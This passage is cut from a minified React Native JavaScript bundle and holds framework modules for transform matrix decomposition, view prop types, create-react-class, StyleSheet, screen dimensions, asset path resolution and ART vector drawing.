M=[];for(m=0;m<3;m++)M[m]=[s[m][0],s[m][1],s[m][2]];n[0]=o.v3Length(M[0]),M[0]=o.v3Normalize(M[0],n[0]),i[0]=o.v3Dot(M[0],M[1]),M[1]=o.v3Combine(M[1],M[0],1,-i[0]),i[0]=o.v3Dot(M[0],M[1]),M[1]=o.v3Combine(M[1],M[0],1,-i[0]),n[1]=o.v3Length(M[1]),M[1]=o.v3Normalize(M[1],n[1]),i[0]/=n[1],i[1]=o.v3Dot(M[0],M[2]),M[2]=o.v3Combine(M[2],M[0],1,-i[1]),i[2]=o.v3Dot(M[1],M[2]),M[2]=o.v3Combine(M[2],M[1],1,-i[2]),n[2]=o.v3Length(M[2]),M[2]=o.v3Normalize(M[2],n[2]),i[1]/=n[2],i[2]/=n[2];var C=o.v3Cross(M[1],M[2]);if(o.v3Dot(M[0],C)<0)for(m=0;m<3;m++)n[m]*=-1,M[m][0]*=-1,M[m][1]*=-1,M[m][2]*=-1;a[0]=.5*Math.sqrt(Math.max(1+M[0][0]-M[1][1]-M[2][2],0)),a[1]=.5*Math.sqrt(Math.max(1-M[0][0]+M[1][1]-M[2][2],0)),a[2]=.5*Math.sqrt(Math.max(1-M[0][0]-M[1][1]+M[2][2],0)),a[3]=.5*Math.sqrt(Math.max(1+M[0][0]+M[1][1]+M[2][2],0)),M[2][1]>M[1][2]&&(a[0]=-a[0]),M[0][2]>M[2][0]&&(a[1]=-a[1]),M[1][0]>M[0][1]&&(a[2]=-a[2]);var p;return p=a[0]<.001&&a[0]>=0&&a[1]<.001&&a[1]>=0?[0,0,o.roundTo3Places(180*Math.atan2(M[0][1],M[0][0])/Math.PI)]:o.quaternionToDegreesXYZ(a,s,M),{rotationDegrees:p,perspective:e,quaternion:a,scale:n,skew:i,translation:u,rotate:p[2],rotateX:p[0],rotateY:p[1],scaleX:n[0],scaleY:n[1],translateX:u[0],translateY:u[1]}}}}};a.exports=o},127);\n__d(function(t,i,h,d){\"use strict\";var e={width:void 0,height:void 0},n=function(t,i){return t=t||e,i=i||e,t!==i&&(t.width!==i.width||t.height!==i.height)};h.exports=n},128);\n__d(function(e,i,s,t){\"use strict\";var a=i(115),c={};c.UIView={pointerEvents:!0,accessible:!0,accessibilityLabel:!0,accessibilityComponentType:!0,accessibilityLiveRegion:!0,accessibilityTraits:!0,importantForAccessibility:!0,nativeID:!0,testID:!0,renderToHardwareTextureAndroid:!0,shouldRasterizeIOS:!0,onLayout:!0,onAccessibilityTap:!0,onMagicTap:!0,collapsable:!0,needsOffscreenAlphaCompositing:!0,style:a},c.RCTView=babelHelpers.extends({},c.UIView,{removeClippedSubviews:!0}),s.exports=c},129);\n__d(function(e,o,n,s){\"use strict\";var i=o(131),t=o(136),c=o(111),r=o(138),a=o(124),l=o(139),p=l.AccessibilityComponentTypes,d=l.AccessibilityTraits,u=r(a);n.exports=babelHelpers.extends({},t,{accessible:c.bool,accessibilityLabel:c.node,accessibilityComponentType:c.oneOf(p),accessibilityLiveRegion:c.oneOf([\"none\",\"polite\",\"assertive\"]),importantForAccessibility:c.oneOf([\"auto\",\"yes\",\"no\",\"no-hide-descendants\"]),accessibilityTraits:c.oneOfType([c.oneOf(d),c.arrayOf(c.oneOf(d))]),accessibilityViewIsModal:c.bool,onAccessibilityTap:c.func,onMagicTap:c.func,testID:c.string,nativeID:c.string,onResponderGrant:c.func,onResponderMove:c.func,onResponderReject:c.func,onResponderRelease:c.func,onResponderTerminate:c.func,onResponderTerminationRequest:c.func,onStartShouldSetResponder:c.func,onStartShouldSetResponderCapture:c.func,onMoveShouldSetResponder:c.func,onMoveShouldSetResponderCapture:c.func,hitSlop:i,onLayout:c.func,pointerEvents:c.oneOf([\"box-none\",\"none\",\"box-only\",\"auto\"]),style:u,removeClippedSubviews:c.bool,renderToHardwareTextureAndroid:c.bool,shouldRasterizeIOS:c.bool,collapsable:c.bool,needsOffscreenAlphaCompositing:c.bool})},130);\n__d(function(t,r,e,n){\"use strict\";var u=r(111),b=r(132),m=b({top:u.number,left:u.number,bottom:u.number,right:u.number});e.exports=m},131);\n__d(function(n,e,t,i){\"use strict\";function r(n){function e(e,t,i,r,c){if(!t[i])return void(e&&o(!1,\"Required object `\"+i+\"` was not specified in \"+(\"`\"+r+\"`.\")));var l=t[i],u=typeof l,d=c||\"(unknown)\";\"object\"!==u&&o(!1,\"Invalid \"+d+\" `\"+i+\"` of type `\"+u+\"` \"+(\"supplied to `\"+r+\"`, expected `object`.\"));for(var s=a(t[i],n),p=arguments.length,f=Array(p>5?p-5:0),v=5;v<p;v++)f[v-5]=arguments[v];for(var y in s){var b=n[y];b||o(!1,\"Invalid props.\"+i+\" key `\"+y+\"` supplied to `\"+r+\"`.\\nBad object: \"+JSON.stringify(t[i],null,\"  \")+\"\\nValid keys: \"+JSON.stringify(Object.keys(n),null,\"  \"));var g=b.apply(void 0,[l,y,r,c].concat(f));g&&o(!1,g.message+\"\\nBad object: \"+JSON.stringify(t[i],null,\"  \"))}}function t(n,t,i,r){for(var o=arguments.length,a=Array(o>4?o-4:0),c=4;c<o;c++)a[c-4]=arguments[c];return e.apply(void 0,[!1,n,t,i,r].concat(a))}return t.isRequired=e.bind(null,!0),t}var o=e(13),a=e(133);t.exports=r},132);\n__d(function(r,t,n,u){\"use strict\";var c=t(134),e=function(r,t){var n={};return c(n,r),c(n,t),n};n.exports=e},133);\n__d(function(e,r,c,t){\"use strict\";function n(e,r){if(f(e),null!=r){i(r);for(var c in r)r.hasOwnProperty(c)&&(e[c]=r[c])}}var o=r(135),i=o.checkMergeObjectArg,f=o.checkMergeIntoObjectArg;c.exports=n},134);\n__d(function(e,r,t,n){\"use strict\";var c=r(13),o=36,a=function(e){return\"object\"!=typeof e||e instanceof Date||null===e},i={MAX_MERGE_DEPTH:o,isTerminal:a,normalizeMergeArg:function(e){return void 0===e||null===e?{}:e},checkMergeArrayArgs:function(e,r){c(Array.isArray(e)&&Array.isArray(r),\"Tried to merge arrays, instead got %s and %s.\",e,r)},checkMergeObjectArgs:function(e,r){i.checkMergeObjectArg(e),i.checkMergeObjectArg(r)},checkMergeObjectArg:function(e){c(!a(e)&&!Array.isArray(e),\"Tried to merge an object, instead got %s.\",e)},checkMergeIntoObjectArg:function(e){c(!(a(e)&&\"function\"!=typeof e||Array.isArray(e)),\"Tried to merge into an object, instead got %s.\",e)},checkMergeLevel:function(e){c(e<o,\"Maximum deep merge depth exceeded. You may be attempting to merge circular structures in an unsupported way.\")},checkArrayStrategy:function(e){c(void 0===e||e in i.ArrayStrategies,\"You must provide an array strategy to deep merge functions to instruct the deep merge how to resolve merging two arrays.\")},ArrayStrategies:{Clobber:\"Clobber\",Concat:\"Concat\",IndexByIndex:\"IndexByIndex\"}};t.exports=i},135);\n__d(function(i,n,o,r){var s=n(23),t={};s.isTVOS&&(t=n(137)),o.exports=t},136);\n__d(function(a,e,t,r){\"use strict\";var l=e(111),i={isTVSelectable:l.bool,hasTVPreferredFocus:l.bool,tvParallaxProperties:l.object,tvParallaxShiftDistanceX:l.number,tvParallaxShiftDistanceY:l.number,tvParallaxTiltAngle:l.number,tvParallaxMagnification:l.number};t.exports=i},137);\n__d(function(r,n,t,a){\"use strict\";function o(r){var n=c(r);return function(r,t,a,o){var c=r;r[t]&&(c={},c[t]=u(r[t]));for(var e=arguments.length,i=Array(e>4?e-4:0),v=4;v<e;v++)i[v-4]=arguments[v];return n.apply(void 0,[c,t,a,o].concat(i))}}var c=n(132),u=n(60);t.exports=o},138);\n__d(function(e,t,s,n){\"use strict\";s.exports={AccessibilityTraits:[\"none\",\"button\",\"link\",\"header\",\"search\",\"image\",\"selected\",\"plays\",\"key\",\"text\",\"summary\",\"disabled\",\"frequentUpdates\",\"startsMedia\",\"adjustable\",\"allowsDirectInteraction\",\"pageTurn\"],AccessibilityComponentTypes:[\"none\",\"button\",\"radiobutton_checked\",\"radiobutton_unchecked\"]}},139);\n__d(function(e,t,a,r){\"use strict\";var o=t(52),n=t(141);if(\"undefined\"==typeof o)throw Error(\"create-react-class could not find the React object. If you are using script tags, make sure that React is being loaded before create-react-class.\");var c=(new o.Component).updater;a.exports=n(o.Component,o.isValidElement,c)},140);\n__d(function(t,e,n,o){\"use strict\";function i(t){return t}function r(t,e,n){function o(t,e){var n=N.hasOwnProperty(e)?N[e]:null;g.hasOwnProperty(e)&&c(\"OVERRIDE_BASE\"===n,\"ReactClassInterface: You are attempting to override `%s` from your class specification. Ensure that your method names do not overlap with React methods.\",e),t&&c(\"DEFINE_MANY\"===n||\"DEFINE_MANY_MERGED\"===n,\"ReactClassInterface: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.\",e)}function r(t,n){if(n){c(\"function\"!=typeof n,\"ReactClass: You're attempting to use a component class or function as a mixin. Instead, just use a regular object.\"),c(!e(n),\"ReactClass: You're attempting to use a component as a mixin. Instead, just use a regular object.\");var i=t.prototype,r=i.__reactAutoBindPairs;n.hasOwnProperty(u)&&_.mixins(t,n.mixins);for(var a in n)if(n.hasOwnProperty(a)&&a!==u){var s=n[a],p=i.hasOwnProperty(a);if(o(p,a),_.hasOwnProperty(a))_[a](t,s);else{var l=N.hasOwnProperty(a),h=\"function\"==typeof s,y=h&&!l&&!p&&n.autobind!==!1;if(y)r.push(a,s),i[a]=s;else if(p){var m=N[a];c(l&&(\"DEFINE_MANY_MERGED\"===m||\"DEFINE_MANY\"===m),\"ReactClass: Unexpected spec policy %s for key %s when mixing in component specs.\",m,a),\"DEFINE_MANY_MERGED\"===m?i[a]=f(i[a],s):\"DEFINE_MANY\"===m&&(i[a]=E(i[a],s))}else i[a]=s}}}}function a(t,e){if(e)for(var n in e){var o=e[n];if(e.hasOwnProperty(n)){var i=n in _;c(!i,'ReactClass: You are attempting to define a reserved property, `%s`, that shouldn\\'t be on the \"statics\" key. Define it as an instance property instead; it will still be accessible on the constructor.',n);var r=n in t;c(!r,\"ReactClass: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.\",n),t[n]=o}}}function l(t,e){c(t&&e&&\"object\"==typeof t&&\"object\"==typeof e,\"mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects.\");for(var n in e)e.hasOwnProperty(n)&&(c(void 0===t[n],\"mergeIntoWithNoDuplicateKeys(): Tried to merge two objects with the same key: `%s`. This conflict may be due to a mixin; in particular, this may be caused by two getInitialState() or getDefaultProps() methods returning objects with clashing keys.\",n),t[n]=e[n]);return t}function f(t,e){return function(){var n=t.apply(this,arguments),o=e.apply(this,arguments);if(null==n)return o;if(null==o)return n;var i={};return l(i,n),l(i,o),i}}function E(t,e){return function(){t.apply(this,arguments),e.apply(this,arguments)}}function h(t,e){var n=e.bind(t);return n}function y(t){for(var e=t.__reactAutoBindPairs,n=0;n<e.length;n+=2){var o=e[n],i=e[n+1];t[o]=h(t,i)}}function m(t){var e=i(function(t,o,i){this.__reactAutoBindPairs.length&&y(this),this.props=t,this.context=o,this.refs=p,this.updater=i||n,this.state=null;var r=this.getInitialState?this.getInitialState():null;c(\"object\"==typeof r&&!Array.isArray(r),\"%s.getInitialState(): must return an object or null\",e.displayName||\"ReactCompositeComponent\"),this.state=r});e.prototype=new M,e.prototype.constructor=e,e.prototype.__reactAutoBindPairs=[],d.forEach(r.bind(null,e)),r(e,D),r(e,t),r(e,I),e.getDefaultProps&&(e.defaultProps=e.getDefaultProps()),c(e.prototype.render,\"createClass(...): Class specification must implement a `render` method.\");for(var o in N)e.prototype[o]||(e.prototype[o]=null);return e}var d=[],N={mixins:\"DEFINE_MANY\",statics:\"DEFINE_MANY\",propTypes:\"DEFINE_MANY\",contextTypes:\"DEFINE_MANY\",childContextTypes:\"DEFINE_MANY\",getDefaultProps:\"DEFINE_MANY_MERGED\",getInitialState:\"DEFINE_MANY_MERGED\",getChildContext:\"DEFINE_MANY_MERGED\",render:\"DEFINE_ONCE\",componentWillMount:\"DEFINE_MANY\",componentDidMount:\"DEFINE_MANY\",componentWillReceiveProps:\"DEFINE_MANY\",shouldComponentUpdate:\"DEFINE_ONCE\",componentWillUpdate:\"DEFINE_MANY\",componentDidUpdate:\"DEFINE_MANY\",componentWillUnmount:\"DEFINE_MANY\",updateComponent:\"OVERRIDE_BASE\"},_={displayName:function(t,e){t.displayName=e},mixins:function(t,e){if(e)for(var n=0;n<e.length;n++)r(t,e[n])},childContextTypes:function(t,e){t.childContextTypes=s({},t.childContextTypes,e)},contextTypes:function(t,e){t.contextTypes=s({},t.contextTypes,e)},getDefaultProps:function(t,e){t.getDefaultProps?t.getDefaultProps=f(t.getDefaultProps,e):t.getDefaultProps=e},propTypes:function(t,e){t.propTypes=s({},t.propTypes,e)},statics:function(t,e){a(t,e)},autobind:function(){}},D={componentDidMount:function(){this.__isMounted=!0}},I={componentWillUnmount:function(){this.__isMounted=!1}},g={replaceState:function(t,e){this.updater.enqueueReplaceState(this,t,e)},isMounted:function(){return!!this.__isMounted}},M=function(){};return s(M.prototype,t.prototype,g),m}var a,s=e(54),p=e(55),c=e(56),u=\"mixins\";a={},n.exports=r},141);\n__d(function(e,r,o,s){\"use strict\";function t(e,r,o){var s=l[e];if(!s||!s.NativeProps)return c(!1,'Native component for \"%s\" does not exist',e),i;s.uiViewClassName=e,s.validAttributes={},r?s.propTypes=\"object\"==typeof r.__propTypesSecretDontUseThesePlease?r.__propTypesSecretDontUseThesePlease:r.propTypes:s.propTypes=null;for(var t=s.baseModuleName,a=babelHelpers.extends({},s.NativeProps);t;){var u=l[t];u?(a=babelHelpers.extends({},a,u.NativeProps),t=u.baseModuleName):(c(!1,'Base module \"%s\" does not exist',t),t=null)}for(var v in a){var C=!1,d={},f=m[a[v]];f&&(d.diff=f,C=!0);var b=y[a[v]];b&&(d.process=b,C=!0),s.validAttributes[v]=!C||d}return s.validAttributes.style=p,n(s)}function a(e){return e&&e.map(d)}var p=r(115),l=r(63),i=r(143),n=r(149),u=r(150),v=r(151),C=r(152),d=r(125),f=r(153),b=r(128),c=(r(157),r(27)),m={CATransform3D:v,CGPoint:C,CGSize:b,UIEdgeInsets:u},y={CGColor:d,CGColorArray:a,UIColor:d,UIColorArray:a,CGImage:f,UIImage:f,RCTImageSource:f,Color:d,ColorArray:a};o.exports=t},142);\n__d(function(e,t,r,s){\"use strict\";var n=t(114),l=t(144),i=function(e){function r(){return babelHelpers.classCallCheck(this,r),babelHelpers.possibleConstructorReturn(this,(r.__proto__||Object.getPrototypeOf(r)).apply(this,arguments))}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"setNativeProps\",value:function(){}},{key:\"render\",value:function(){var e=t(110);return n.createElement(e,{style:[o.unimplementedView,this.props.style]},this.props.children)}}]),r}(n.Component),o=l.create({unimplementedView:{}});r.exports=i},143);\n__d(function(e,t,r,o){\"use strict\";var i=t(145),s=t(61),l=t(115),a=t(148),n=t(60),u=i.roundToNearestPixel(.4);0===u&&(u=1/i.get());var b={position:\"absolute\",left:0,right:0,top:0,bottom:0},c=s.register(b);r.exports={hairlineWidth:u,absoluteFill:c,absoluteFillObject:b,flatten:n,setStyleAttributePreprocessor:function(e,t){var r=void 0;if(\"string\"==typeof l[e])r={};else{if(\"object\"!=typeof l[e])return void console.error(e+\" is not a valid style attribute\");r=l[e]}l[e]=babelHelpers.extends({},r,{process:t})},create:function(e){var t={};for(var r in e)a.validateStyle(r,e),t[r]=e[r]&&s.register(e[r]);return t}}},144);\n__d(function(e,t,n,u){\"use strict\";var r=t(146),a=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"get\",value:function(){return r.get(\"window\").scale}},{key:\"getFontScale\",value:function(){return r.get(\"window\").fontScale||e.get()}},{key:\"getPixelSizeForLayoutSize\",value:function(t){return Math.round(t*e.get())}},{key:\"roundToNearestPixel\",value:function(t){var n=e.get();return Math.round(t*n)/n}},{key:\"startDetecting\",value:function(){}}]),e}();n.exports=a},145);\n__d(function(e,n,i,s){\"use strict\";var t=n(147),o=n(36),r=(n(23),n(35)),a=n(13),l=new o,c=!1,d={},u=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"set\",value:function(e){if(e&&e.windowPhysicalPixels){e=JSON.parse(JSON.stringify(e));var n=e.windowPhysicalPixels;e.window={width:n.width/n.scale,height:n.height/n.scale,scale:n.scale,fontScale:n.fontScale},e.screen=e.window,delete e.windowPhysicalPixels}babelHelpers.extends(d,e),c?l.emit(\"change\",{window:d.window,screen:d.screen}):c=!0}},{key:\"get\",value:function(e){return a(d[e],\"No dimension set for key \"+e),d[e]}},{key:\"addEventListener\",value:function(e,n){a(\"change\"===e,'Trying to subscribe to unknown event: \"%s\"',e),l.addListener(e,n)}},{key:\"removeEventListener\",value:function(e,n){a(\"change\"===e,'Trying to remove listener for unknown event: \"%s\"',e),l.removeListener(e,n)}}]),e}();u.set(t.Dimensions),r.addListener(\"didUpdateDimensions\",function(e){u.set(e)}),i.exports=u},146);\n__d(function(e,t,i,n){\"use strict\";var o=t(15).DeviceInfo,c=t(13);c(o,\"DeviceInfo native module is not installed correctly\"),i.exports=o},147);\n__d(function(e,l,a,t){\"use strict\";var r=l(116),n=l(123),d=l(124),i=(l(13),function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"validateStyleProp\",value:function(e,l,a){return}},{key:\"validateStyle\",value:function(e,l){return}},{key:\"addValidStylePropTypes\",value:function(e){for(var l in e)s[l]=e[l]}}]),e}()),s={};i.addValidStylePropTypes(r),i.addValidStylePropTypes(n),i.addValidStylePropTypes(d),a.exports=i},148);\n__d(function(_,t,e,E){\"use strict\";var a=t(44),s=a.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;e.exports=s.createReactNativeComponentClass},149);\n__d(function(t,o,i,r){\"use strict\";var e={top:void 0,left:void 0,right:void 0,bottom:void 0},d=function(t,o){return t=t||e,o=o||e,t!==o&&(t.top!==o.top||t.left!==o.left||t.right!==o.right||t.bottom!==o.bottom)};i.exports=d},150);\n__d(function(t,n,r,u){\"use strict\";var c=function(t,n){return t!==n&&(!t||!n||t[12]!==n[12]||t[13]!==n[13]||t[14]!==n[14]||t[5]!==n[5]||t[10]!==n[10]||t[1]!==n[1]||t[2]!==n[2]||t[3]!==n[3]||t[4]!==n[4]||t[6]!==n[6]||t[7]!==n[7]||t[8]!==n[8]||t[9]!==n[9]||t[11]!==n[11]||t[15]!==n[15])};r.exports=c},151);\n__d(function(t,i,n,o){\"use strict\";var r={x:void 0,y:void 0},u=function(t,i){return t=t||r,i=i||r,t!==i&&(t.x!==i.x||t.y!==i.y)};n.exports=u},152);\n__d(function(t,r,e,s){\"use strict\";function n(){if(void 0===d){var t=a.SourceCode.scriptURL,r=t&&t.match(/^https?:\\/\\/.*?\\//);d=r?r[0]:null}return d}function i(){if(void 0===v){var t=a.SourceCode.scriptURL;if(!t)return v=null;if(t.startsWith(\"assets://\"))return v=null;v=t.startsWith(\"file://\")?t.substring(7,t.lastIndexOf(\"/\")+1):t.substring(0,t.lastIndexOf(\"/\")+1)}return v}function u(t){l=t}function o(t){if(\"object\"==typeof t)return t;var r=c.getAssetByID(t);if(!r)return null;var e=new f(n(),i(),r);return l?l(e):e.defaultAsset()}var c=r(154),f=r(155),a=r(15),l=void 0,d=void 0,v=void 0;e.exports=o,e.exports.pickScale=f.pickScale,e.exports.setCustomSourceTransformer=u},153);\n__d(function(t,e,r,s){\"use strict\";function n(t){return i.push(t)}function u(t){return i[t-1]}var i=[];r.exports={registerAsset:n,getAssetByID:u}},154);\n__d(function(e,t,r,s){\"use strict\";function i(e){var t=l.pickScale(e.scales,n.get()),r=1===t?\"\":\"@\"+t+\"x\",s=u.getBasePath(e);return s+\"/\"+e.name+r+\".\"+e.type}function a(e){var t=l.pickScale(e.scales,n.get()),r=u.getAndroidDrawableFolderName(e,t),s=u.getAndroidResourceIdentifier(e);return r+\"/\"+s+\".\"+e.type}var n=t(145),u=(t(23),t(156)),o=t(13),l=function(){function e(t,r,s){babelHelpers.classCallCheck(this,e),this.serverUrl=t,this.bundlePath=r,this.asset=s}return babelHelpers.createClass(e,[{key:\"isLoadedFromServer\",value:function(){return!!this.serverUrl}},{key:\"isLoadedFromFileSystem\",value:function(){return!!this.bundlePath}},{key:\"defaultAsset\",value:function(){return this.isLoadedFromServer()?this.assetServerURL():this.scaledAssetPathInBundle()}},{key:\"assetServerURL\",value:function(){return o(!!this.serverUrl,\"need server to load from\"),this.fromSource(this.serverUrl+i(this.asset)+\"?platform=ios&hash=\"+this.asset.hash)}},{key:\"scaledAssetPath\",value:function(){return this.fromSource(i(this.asset))}},{key:\"scaledAssetPathInBundle\",value:function(){var e=this.bundlePath||\"\";return this.fromSource(e+i(this.asset))}},{key:\"resourceIdentifierWithoutScale\",value:function(){return o(!1,\"resource identifiers work on Android\"),this.fromSource(u.getAndroidResourceIdentifier(this.asset))}},{key:\"drawableFolderInBundle\",value:function(){var e=this.bundlePath||\"\";return this.fromSource(\"file://\"+e+a(this.asset))}},{key:\"fromSource\",value:function(t){return{__packager_asset:!0,width:this.asset.width,height:this.asset.height,uri:t,scale:e.pickScale(this.asset.scales,n.get())}}}],[{key:\"pickScale\",value:function(e,t){for(var r=0;r<e.length;r++)if(e[r]>=t)return e[r];return e[e.length-1]||1}}]),e}();r.exports=l},155);\n__d(function(r,e,t,n){\"use strict\";function a(r){switch(r){case.75:return\"ldpi\";case 1:return\"mdpi\";case 1.5:return\"hdpi\";case 2:return\"xhdpi\";case 3:return\"xxhdpi\";case 4:return\"xxxhdpi\"}throw new Error(\"no such scale\")}function s(r,e){var t=a(e);if(!t)throw new Error(\"Don't know which android drawable suffix to use for asset: \"+JSON.stringify(r));var n=\"drawable-\"+t;return n}function i(r){var e=o(r);return(e+\"/\"+r.name).toLowerCase().replace(/\\//g,\"_\").replace(/([^a-z0-9_])/g,\"\").replace(/^assets_/,\"\")}function o(r){var e=r.httpServerLocation;return\"/\"===e[0]&&(e=e.substr(1)),e}t.exports={getAndroidAssetSuffix:a,getAndroidDrawableFolderName:s,getAndroidResourceIdentifier:i,getBasePath:o}},156);\n__d(function(e,o,r,a){\"use strict\";function n(e,o,r){if(o){var a=e.displayName||e.name||\"unknown\",n=e.__propTypesSecretDontUseThesePlease||e.propTypes;if(!n)throw new Error(\"`\"+a+\"` has no propTypes defined`\");var p=o.NativeProps;for(var s in p)if(!(n[s]||t[s]||r&&r[s])){var i;throw i=n.hasOwnProperty(s)?\"`\"+a+\"` has incorrectly defined propType for native prop `\"+o.uiViewClassName+\".\"+s+\"` of native type `\"+p[s]:\"`\"+a+\"` has no propType for native prop `\"+o.uiViewClassName+\".\"+s+\"` of native type `\"+p[s]+\"`\",i+=\"\\nIf you haven't changed this prop yourself, this usually means that your versions of the native code and JavaScript code are out of sync. Updating both should make this error go away.\",new Error(i)}}}var t=o(115);r.exports=n},157);\n__d(function(e,t,n,r){\"use strict\";function i(e,t){if(null==e||null==t)return!0;if(e.length!==t.length)return!0;for(var n=0;n<e.length;n++)if(e[n]!==t[n])return!0;return!1}function l(e,t){if(e===t)return!1;if(e.font!==t.font){if(null===e.font)return!0;if(null===t.font)return!0;if(e.font.fontFamily!==t.font.fontFamily||e.font.fontSize!==t.font.fontSize||e.font.fontWeight!==t.font.fontWeight||e.font.fontStyle!==t.font.fontStyle)return!0}return i(e.lines,t.lines)}function o(e){return e?\"string\"==typeof e?e:e.length?e.join(\"\\n\"):\"\":\"\"}function s(e,t){return null==e?t:+e}function a(e){var t=null!=e.scaleX?e.scaleX:null!=e.scale?e.scale:1,n=null!=e.scaleY?e.scaleY:null!=e.scale?e.scale:1;return U.transformTo(1,0,0,1,0,0).move(e.x||0,e.y||0).rotate(e.rotation||0,e.originX,e.originY).scale(t,n,e.originX,e.originY),null!=e.transform&&U.transform(e.transform),[U.xx,U.yx,U.xy,U.yy,U.x,U.y]}function u(e){return e.visible===!1?0:null==e.opacity?1:+e.opacity}function f(e,t,n){var r=new R(e);t[n+0]=r.red/255,t[n+1]=r.green/255,t[n+2]=r.blue/255,t[n+3]=r.alpha}function c(e,t,n){var r=0;if(\"length\"in e)for(;r<e.length;)f(e[r],t,n+4*r),r++;else for(var i in e)f(e[i],t,n+4*r),r++;return n+4*r}function h(e,t,n,r,i){var l,o=0;if(\"length\"in e)for(;o<e.length;)l=o/(e.length-1)*r,t[n+o]=i?1-l:l,o++;else for(var s in e)l=+s*r,t[n+o]=i?1-l:l,o++;return n+o}function p(e,t,n){var r=c(e,t,n);h(e,t,r,1,!1)}function b(e,t,n){var r=c(e,t,n);r=c(e,t,r),r=h(e,t,r,.5,!1),h(e,t,r,.5,!0)}function d(e,t){var n=e[0],r=+t.width,i=+t.height;n===Q?(e[1]*=r,e[2]*=i,e[3]*=r,e[4]*=i):n===Z&&(e[1]*=r,e[2]*=i,e[3]*=r,e[4]*=i,e[5]*=r,e[6]*=i)}function y(e,t){if(null==e)return null;if(e._brush)return e._bb&&(d(e._brush,t),e._bb=!1),e._brush;var n=new R(e);return[K,n.red/255,n.green/255,n.blue/255,n.alpha]}function g(e){if(null==e)return null;var t=new R(e);return[t.red/255,t.green/255,t.blue/255,t.alpha]}function m(e){switch(e){case\"butt\":return 0;case\"square\":return 2;default:return 1}}function v(e){switch(e){case\"miter\":return 0;case\"bevel\":return 2;default:return 1}}function C(e){return e.split(\",\")[0].replace(re,\"\").replace(ie,\"\")}function k(e){if(ne.hasOwnProperty(e))return ne[e];var t=/^\\s*((?:(?:normal|bold|italic)\\s+)*)(?:(\\d+(?:\\.\\d+)?)[ptexm\\%]*(?:\\s*\\/.*?)?\\s+)?\\s*\\\"?([^\\\"]*)/i,n=t.exec(e);if(!n)return null;var r=C(n[3]),i=+n[2]||12,l=/bold/.exec(n[1]),o=/italic/.exec(n[1]);return ne[e]={fontFamily:r,fontSize:i,fontWeight:l?\"bold\":\"normal\",fontStyle:o?\"italic\":\"normal\"},ne[e]}function _(e){if(null==e)return null;if(\"string\"==typeof e)return k(e);var t=C(e.fontFamily),n=+e.fontSize||12,r=null!=e.fontWeight?e.fontWeight.toString():\"400\";return{fontFamily:t,fontSize:n,fontWeight:r,fontStyle:e.fontStyle}}function S(e,t){return{font:_(e),lines:t.split(le)}}function w(e){switch(e){case\"right\":return 1;case\"center\":return 2;default:return 0}}function H(e,t,n,r,i){var l=Q;if(arguments.length<5){var o=(null==t?270:t)*Math.PI/180,s=Math.cos(o),a=-Math.sin(o),u=(Math.abs(s)+Math.abs(a))/2;s*=u,a*=u,t=.5-s,r=.5+s,n=.5-a,i=.5+a,this._bb=!0}else this._bb=!1;var f=[l,+t,+n,+r,+i];p(e,f,5),this._brush=f}function x(e,t,n,r,i,l,o){null==i&&(i=r),null==l&&(l=t),null==o&&(o=n),null==t?(t=n=r=i=l=o=.5,this._bb=!0):this._bb=!1;var s=[Z,+t,+n,2*+r,2*+i,+l,+o];b(e,s,7),this._brush=s}function O(e,t,n,r,i){this._brush=[ee,e,+r||0,+i||0,+t,+n]}var R=t(159),T=t(160),W=t(163),A=t(114),P=t(111),J=t(129),j=t(149),I=t(133),N=t(13),V=I(J.UIView,{}),z={transform:{diff:i},opacity:!0},D=I(z,{clipping:{diff:i}}),E=I(z,{fill:{diff:i},stroke:{diff:i},strokeWidth:!0,strokeCap:!0,strokeJoin:!0,strokeDash:{diff:i}}),F=I(E,{d:{diff:i}}),G=I(E,{alignment:!0,frame:{diff:l},path:{diff:i}}),M=j({validAttributes:V,uiViewClassName:\"ARTSurfaceView\"}),X=j({validAttributes:D,uiViewClassName:\"ARTGroup\"}),Y=j({validAttributes:F,uiViewClassName:\"ARTShape\"}),q=j({validAttributes:G,uiViewClassName:\"ARTText\"}),L=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"getChildContext\",value:function(){return{isInSurface:!0}}},{key:\"render\",value:function(){var e=this.props,t=s(e.width,0),n=s(e.height,0);return A.createElement(M,{style:[e.style,{width:t,height:n}]},this.props.children)}}]),t}(A.Component);L.childContextTypes={isInSurface:P.bool};var U=new W,$=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props;return N(this.context.isInSurface,\"ART: <Group /> must be a child of a <Surface />\"),A.createElement(X,{opacity:u(e),transform:a(e)},this.props.children)}}]),t}(A.Component);$.contextTypes={isInSurface:P.bool.isRequired};var B=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props,t=s(e.x,0),n=s(e.y,0),r=s(e.width,0),i=s(e.height,0),l=[t,n,r,i],o=I(e);return delete o.x,delete o.y,A.createElement(X,{clipping:l,opacity:u(e),transform:a(o)},this.props.children)}}]),t}(A.Component),K=0,Q=1,Z=2,ee=3,te=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props,t=e.d||o(e.children),n=(t instanceof T?t:new T(t)).toJSON();return 